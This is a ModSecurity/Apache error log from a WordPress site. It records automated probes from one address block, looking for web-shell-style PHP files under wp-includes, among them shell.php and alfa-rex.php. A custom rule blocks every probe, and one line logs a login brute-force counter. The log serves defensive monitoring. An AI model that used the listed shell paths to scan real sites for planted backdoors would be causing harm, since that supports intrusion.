[Thu Apr 23 07:31:41.801751 2026] [:error] [pid 65000:tid 65038] [client 89.251.0.148:47273] [client 89.251.0.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/block-bindings/imagess.php"] [unique_id "aelaXb6vRb9j6psK2ZalrQAAAgU"]
[Thu Apr 23 07:31:43.605612 2026] [:error] [pid 59700:tid 59726] [client 89.251.0.113:21427] [client 89.251.0.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/default-filters-edit.php"] [unique_id "aelaX5XyGZJFeAIDWtliIgAAAVg"]
[Thu Apr 23 07:31:45.877032 2026] [:error] [pid 64967:tid 64978] [client 89.251.0.148:63497] [client 89.251.0.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "aelaYYAV4GfOOdX8QzoY2gAAAYk"]
[Thu Apr 23 07:31:49.617346 2026] [:error] [pid 65000:tid 65042] [client 89.251.0.121:32245] [client 89.251.0.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/theme.php"] [unique_id "aelaZb6vRb9j6psK2Zal5gAAAgk"]
[Thu Apr 23 07:31:52.456449 2026] [proxy_fcgi:error] [pid 64998:tid 65016] [client 89.251.0.134:20107] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:31:53.258226 2026] [:error] [pid 64998:tid 65005] [client 89.251.0.134:20107] [client 89.251.0.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/shell.php"] [unique_id "aelaaYV5EysYcTLjmwgA5gAAAcM"]
[Thu Apr 23 07:31:55.064552 2026] [:error] [pid 43083:tid 43088] [client 89.251.0.146:63307] [client 89.251.0.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-selective-refresh-library.php"] [unique_id "aelaazC5hrvNXosL83LWPgAAAMM"]
[Thu Apr 23 07:32:00.213950 2026] [:error] [pid 65000:tid 65052] [client 89.251.0.115:26599] [client 89.251.0.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Requests/library/wp-login.php"] [unique_id "aelacL6vRb9j6psK2ZamNAAAAhM"]
[Thu Apr 23 07:32:01.209109 2026] [:error] [pid 64998:tid 65010] [client 89.251.0.133:63995] [client 89.251.0.133] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/interactivity-api/about.php"] [unique_id "aelacYV5EysYcTLjmwgBMQAAAcg"]
[Thu Apr 23 07:32:04.208694 2026] [:error] [pid 65000:tid 65031] [client 89.251.0.135:46795] [client 89.251.0.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/wp-2019.php"] [unique_id "aeladL6vRb9j6psK2ZamcgAAAgI"]
[Thu Apr 23 07:32:04.806518 2026] [:error] [pid 43083:tid 43097] [client 89.251.0.114:49037] [client 89.251.0.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/info.php"] [unique_id "aeladDC5hrvNXosL83LWkAAAAMw"]
[Thu Apr 23 07:32:05.830253 2026] [:error] [pid 42971:tid 42995] [client 89.251.0.126:49513] [client 89.251.0.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/log.php"] [unique_id "aeladTEP2_5RswrH8bGy-wAAAAk"]
[Thu Apr 23 07:32:06.474598 2026] [:error] [pid 64998:tid 65005] [client 89.251.0.123:60815] [client 89.251.0.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime-num.php"] [unique_id "aeladoV5EysYcTLjmwgBdQAAAcM"]
[Thu Apr 23 07:32:07.184511 2026] [:error] [pid 65000:tid 65030] [client 89.251.0.151:40569] [client 89.251.0.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-entry.min-object.php"] [unique_id "aelad76vRb9j6psK2ZamnQAAAgE"]
[Thu Apr 23 07:32:08.116857 2026] [:error] [pid 59700:tid 59712] [client 89.251.0.129:25055] [client 89.251.0.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/aw.php"] [unique_id "aelaeJXyGZJFeAIDWtlikAAAAUo"]
[Thu Apr 23 07:32:10.153814 2026] [:error] [pid 64967:tid 64970] [client 89.251.0.139:57359] [client 89.251.0.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/IXR/db.php"] [unique_id "aelaeoAV4GfOOdX8QzoZnAAAAYE"]
[Thu Apr 23 07:32:10.961696 2026] [:error] [pid 42973:tid 43062] [client 89.251.0.136:63847] [client 89.251.0.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/install.php"] [unique_id "aelaem6I0QqmmmLTHE3fiwAAAJM"]
[Thu Apr 23 07:32:15.776472 2026] [:error] [pid 65000:tid 65042] [client 89.251.0.129:55591] [client 89.251.0.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/dist/install.php"] [unique_id "aelaf76vRb9j6psK2ZanIQAAAgk"]
[Thu Apr 23 07:32:16.505500 2026] [:error] [pid 64998:tid 65026] [client 89.251.0.143:23201] [client 89.251.0.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/style-engine/dedi1.php"] [unique_id "aelagIV5EysYcTLjmwgB2AAAAdg"]
[Thu Apr 23 07:32:18.197946 2026] [:error] [pid 65000:tid 65043] [client 89.251.0.145:65495] [client 89.251.0.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/template-less.php"] [unique_id "aelagr6vRb9j6psK2ZanUAAAAgo"]
[Thu Apr 23 07:32:19.049410 2026] [:error] [pid 59700:tid 59716] [client 89.251.0.117:60589] [client 89.251.0.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/pomo/alfa-rex.php"] [unique_id "aelag5XyGZJFeAIDWtliywAAAU4"]
[Thu Apr 23 07:32:22.836226 2026] [:error] [pid 64967:tid 64986] [client 89.251.0.139:25067] [client 89.251.0.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/min.php"] [unique_id "aelahoAV4GfOOdX8QzoZ4AAAAZE"]
[Thu Apr 23 07:32:23.529940 2026] [:error] [pid 43083:tid 43094] [client 89.251.0.143:40199] [client 89.251.0.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/wp-conflg.php"] [unique_id "aelahzC5hrvNXosL83LW-AAAAMk"]
[Thu Apr 23 07:32:24.986874 2026] [:error] [pid 43083:tid 43109] [client 89.251.0.125:28423] [client 89.251.0.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/file.php"] [unique_id "aelaiDC5hrvNXosL83LXEAAAANg"]
[Thu Apr 23 07:32:26.351119 2026] [:error] [pid 59700:tid 59723] [client 89.251.0.141:31771] [client 89.251.0.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "aelaipXyGZJFeAIDWtli9QAAAVU"]
[Thu Apr 23 07:32:28.952099 2026] [:error] [pid 64967:tid 64989] [client 89.251.0.137:63675] [client 89.251.0.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/load.php"] [unique_id "aelajIAV4GfOOdX8QzoaAQAAAZQ"]
[Thu Apr 23 07:32:29.789966 2026] [:error] [pid 64998:tid 65021] [client 89.251.0.134:26227] [client 89.251.0.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/chosen.php"] [unique_id "aelajYV5EysYcTLjmwgCcQAAAdM"]
[Thu Apr 23 07:32:30.878178 2026] [:error] [pid 64967:tid 64988] [client 89.251.0.133:58675] [client 89.251.0.133] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/class-wp-theme-float.php"] [unique_id "aelajoAV4GfOOdX8QzoaBQAAAZM"]
[Thu Apr 23 07:32:32.831839 2026] [:error] [pid 59700:tid 59724] [client 89.251.0.143:43861] [client 89.251.0.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-style.php"] [unique_id "aelakJXyGZJFeAIDWtljOwAAAVY"]
[Thu Apr 23 07:32:34.057861 2026] [:error] [pid 64998:tid 65007] [client 89.251.0.128:53867] [client 89.251.0.128] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "aelakoV5EysYcTLjmwgCowAAAcU"]
[Thu Apr 23 07:32:35.753929 2026] [:error] [pid 25635:tid 25646] [client 89.251.0.151:50227] [client 89.251.0.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/block-bindings/admin.php"] [unique_id "aelak8Rxv6UsgRGKB3LnGAAAAQc"]
[Thu Apr 23 07:32:36.489047 2026] [:error] [pid 64998:tid 65011] [client 89.251.0.138:34525] [client 89.251.0.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/autoload_classmap.php"] [unique_id "aelalIV5EysYcTLjmwgC1QAAAck"]
[Thu Apr 23 07:32:37.769578 2026] [:error] [pid 42971:tid 42986] [client 89.251.0.132:34587] [client 89.251.0.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/db.php"] [unique_id "aelalTEP2_5RswrH8bG0JgAAAAA"]
[Thu Apr 23 07:32:41.361779 2026] [:error] [pid 43083:tid 43096] [client 89.251.0.142:62325] [client 89.251.0.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/system.php"] [unique_id "aelamTC5hrvNXosL83LXXgAAAMs"]
[Thu Apr 23 07:32:42.344074 2026] [:error] [pid 64998:tid 65019] [client 89.251.0.120:23335] [client 89.251.0.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/block-bindings/about.php"] [unique_id "aelamoV5EysYcTLjmwgDaQAAAdE"]
[Thu Apr 23 07:32:43.834382 2026] [:error] [pid 42972:tid 43038] [client 89.251.0.129:40369] [client 89.251.0.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-upload-control-cookie.php"] [unique_id "aelam8OAb-3sOknsk4coigAAAFY"]
[Thu Apr 23 07:32:44.540276 2026] [:error] [pid 59700:tid 59703] [client 89.251.0.137:38489] [client 89.251.0.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/simi.php"] [unique_id "aelanJXyGZJFeAIDWtljugAAAUE"]
[Thu Apr 23 07:32:45.578977 2026] [:error] [pid 65000:tid 65037] [client 89.251.0.117:50819] [client 89.251.0.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/class-wp-taxonomy-sample.php"] [unique_id "aelanb6vRb9j6psK2ZaosQAAAgQ"]
[Thu Apr 23 07:32:47.335091 2026] [:error] [pid 65000:tid 65052] [client 89.251.0.139:62727] [client 89.251.0.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Requests/src/Response/about.php"] [unique_id "aelan76vRb9j6psK2Zao2AAAAhM"]
[Thu Apr 23 07:32:51.809433 2026] [:error] [pid 43083:tid 43103] [client 89.251.0.117:49499] [client 89.251.0.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ms-pie.php"] [unique_id "aelaozC5hrvNXosL83LXmgAAANI"]
[Thu Apr 23 07:32:54.150285 2026] [:error] [pid 64998:tid 65023] [client 89.251.0.123:40275] [client 89.251.0.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/html-api/index.php"] [unique_id "aelapoV5EysYcTLjmwgEjAAAAdU"]
[Thu Apr 23 07:32:55.580270 2026] [:error] [pid 64998:tid 65024] [client 89.251.0.139:47549] [client 89.251.0.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/nav-menu.php"] [unique_id "aelap4V5EysYcTLjmwgErAAAAdY"]
[Thu Apr 23 07:32:57.045737 2026] [:error] [pid 43083:tid 43090] [client 89.251.0.134:26505] [client 89.251.0.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/dist/user.php"] [unique_id "aelaqTC5hrvNXosL83LXugAAAMU"]
[Thu Apr 23 07:33:02.689503 2026] [:error] [pid 64998:tid 65009] [client 89.251.0.139:39519] [client 89.251.0.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/dist/script-modules/block-library/search/about.php"] [unique_id "aelaroV5EysYcTLjmwgFRgAAAcc"]
[Thu Apr 23 07:33:03.545091 2026] [:error] [pid 65000:tid 65032] [client 89.251.0.115:28881] [client 89.251.0.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-cropped-image-control.php"] [unique_id "aelar76vRb9j6psK2Zap0AAAAgM"]
[Thu Apr 23 07:33:04.284194 2026] [:error] [pid 42972:tid 43019] [client 89.251.0.144:30015] [client 89.251.0.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/ultra.php"] [unique_id "aelasMOAb-3sOknsk4conAAAAEM"]
[Thu Apr 23 07:33:05.244191 2026] [:error] [pid 65000:tid 65029] [client 89.251.0.128:44175] [client 89.251.0.128] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.251.0.128, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/plugins/classic-editor/wp-login.php"] [unique_id "aelasb6vRb9j6psK2Zap7gAAAgA"]
[Thu Apr 23 07:33:06.125624 2026] [:error] [pid 65000:tid 65044] [client 89.251.0.128:44175] [client 89.251.0.128] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/dist/preferences/wp-login.php"] [unique_id "aelasr6vRb9j6psK2Zap-AAAAgs"]
[Thu Apr 23 07:33:07.010746 2026] [:error] [pid 64998:tid 65022] [client 89.251.0.141:43437] [client 89.251.0.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/blocks/media-text/index.php"] [unique_id "aelas4V5EysYcTLjmwgFnQAAAdQ"]
[Thu Apr 23 07:33:07.751896 2026] [:error] [pid 64998:tid 65010] [client 89.251.0.129:30709] [client 89.251.0.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/phpmailer/phpmailer.php"] [unique_id "aelas4V5EysYcTLjmwgFtwAAAcg"]
[Thu Apr 23 07:33:11.272799 2026] [:error] [pid 64998:tid 65025] [client 89.251.0.129:44259] [client 89.251.0.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/blocks/latest-comments/template-loader.php"] [unique_id "aelat4V5EysYcTLjmwgGCAAAAdc"]
[Thu Apr 23 07:33:15.611108 2026] [:error] [pid 43083:tid 43102] [client 89.251.0.145:30479] [client 89.251.0.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/blocks/nextpage/index.php"] [unique_id "aelauzC5hrvNXosL83LYcAAAANE"]
